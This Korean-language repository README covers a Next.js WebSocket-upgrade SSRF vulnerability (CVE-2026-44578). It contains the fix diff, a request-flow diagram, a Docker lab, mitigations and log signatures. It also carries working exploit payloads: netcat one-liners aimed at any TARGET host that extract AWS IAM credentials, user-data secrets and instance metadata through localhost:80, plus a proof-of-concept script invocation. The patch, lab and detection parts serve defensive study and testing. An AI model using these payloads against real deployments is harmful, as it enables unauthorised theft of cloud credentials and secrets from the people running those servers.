
CVE-2026-44578: Next.js WebSocket 업그레이드 SSRF — localhost:80을 통한 사전 인증 자격 증명 탈취. 실습 + 익스플로잇 + 감사.
Next.js 자체 호스팅 배포 환경에서 인증 없이 악용 가능한 서버 측 요청 위조(SSRF) 취약점입니다.
단 하나의 조작된 HTTP 요청으로 localhost:80에서 AWS 자격 증명, 비밀값, 내부 서비스 데이터를 탈취할 수 있습니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| 유형 | SSRF (CWE-918) |
| 영향받는 버전 | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (자체 호스팅만 해당) |
| 수정 버전 | 15.5.16, 16.2.5 |
| 인증 필요 | 없음 |
| 사용자 상호작용 | 없음 |
router-server.ts의 WebSocket 업그레이드 핸들러는 parsedUrl.protocol이 truthy일 때마다 proxyRequest()를 호출합니다. HTTP 핸들러가 항상 적용하던 finished 및 statusCode 라우팅 완료 플래그는 확인하지 않습니다.
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
normalizeRepeatedSlashes가 http:///를 http:/로 축약하면 hostname이 null이 되고, http-proxy는 올바른 경로로 localhost:80에 연결합니다. 동일 위치에 있는 모든 서비스(클라우드 메타데이터, 관리자 패널, 내부 API)가 노출됩니다.
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
curl은 절대형(absolute-form) URI를 전송할 수 없습니다. 원시 TCP(nc,ncat,socat, Python 소켓)를 사용하세요.
Attacker Next.js (vuln) localhost:80 (IMDS/service)
| | |
| GET http:///latest/meta-data/| |
| Connection: Upgrade | |
| Upgrade: websocket | |
|----------------------------->| |
| | url.parse -> protocol:'http' |
| | "///" matches regex |
| | normalizeRepeatedSlashes |
| | "http:///" -> "http:/" |
| | Returns: finished:true |
| | statusCode:308 |
| | hostname:null |
| | |
| | BUG: only checks protocol |
| | proxyRequest -> localhost:80 |
| | GET /latest/meta-data/ |
| |----------------------------->|
| | 200 OK + credentials |
| |<-----------------------------|
| 200 OK + credentials | |
|<-----------------------------| |
nc (netcat)git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
이 명령은 5개의 컨테이너를 시작합니다:
IMDS 사이드카는 network_mode: "service:nextjs-*"를 사용하여 가짜 메타데이터 서비스가 Next.js 컨테이너 내부의 localhost:80에 위치하게 합니다. 실제 클라우드 인스턴스를 모델링한 구성입니다.
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all
# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
./teardown.sh
모든 컨테이너가 가동 중입니다. 취약 버전(15.5.15)은 :3000, 패치 버전(15.5.16)은 :3001에서 실행 중이며, IMDS 사이드카가 네트워크 네임스페이스를 공유합니다.
단일 요청으로 전체 EC2 메타데이터 디렉터리(ami-id, instance-id, iam/, placement/ 등)를 반환합니다.
전체 IAM 자격 증명 세트인 AccessKeyId, SecretAccessKey, Token, Expiration을 반환합니다.
DB_PASSWORD와 API_KEY가 포함된 EC2 user-data 부트스트랩 스크립트입니다.
동일한 SSRF 경로를 통해 인스턴스 ID를 추출합니다.
Next.js 15.5.16에 동일한 페이로드를 전송했습니다. 연결이 즉시 종료되며 데이터가 반환되지 않습니다.
가짜 IMDS 로그에 127.0.0.1(Next.js 프로세스)에서 도착한 GET 요청이 기록되어 SSRF가 서버 측에서 발생함을 입증합니다.
취약 인스턴스에서 7개 SSRF 테스트 모두 민감한 데이터를 반환합니다.
패치된 인스턴스에서는 7개 테스트가 모두 차단되었습니다. 수정이 확인되었습니다.
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
T를 대상 호스트로, ROLE을 IAM 역할 이름으로 교체하세요.
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
return 400;
}
AWS에서는 IMDSv2(HttpTokens=required)를 강제하세요.
로그 시그니처:
Failed to proxy http:/ — 프록시가 트리거되었지만 대상에 연결할 수 없음http:///path 변형은 오류 로그를 생성하지 않음 — 요청 라인에 http:가 포함된 WebSocket 업그레이드를 모니터링하세요승인된 보안 테스트, 교육, 방어적 연구 목적으로만 사용하십시오. 소유한 시스템 또는 명시적인 서면 테스트 허가를 받은 시스템에만 사용하세요.
| 컨테이너 | 역할 | 노출 주소 |
|---|
nextjs-vuln | Next.js 15.5.15 (취약 버전) | localhost:3000 |
nextjs-fixed | Next.js 15.5.16 (패치 버전) | localhost:3001 |
imds-sidecar-vuln | 취약 컨테이너와 네트워크를 공유하는 가짜 AWS IMDSv1 | localhost:80 (취약 컨테이너 기준) |
imds-sidecar-fixed | 패치 컨테이너와 네트워크를 공유하는 가짜 AWS IMDSv1 | localhost:80 (패치 컨테이너 기준) |
internal-api | 내부 서비스 모의 구현 | — |
| 제한 사항 | 세부 내용 |
|---|
| HTTP 메서드 | GET만 가능 |
| 대상 | localhost:80 (정규화로 hostname이 제거됨) |
| AWS IMDSv2 | 악용 불가 (PUT 필요) |
| GCP 메타데이터 | 악용 불가 (Upgrade 헤더 거부) |
| Vercel 호스팅 | 영향 없음 |
| 리버스 프록시 뒤 | nginx/Caddy/HAProxy가 절대형 URI를 차단 |
| 출처 | 링크 |
|---|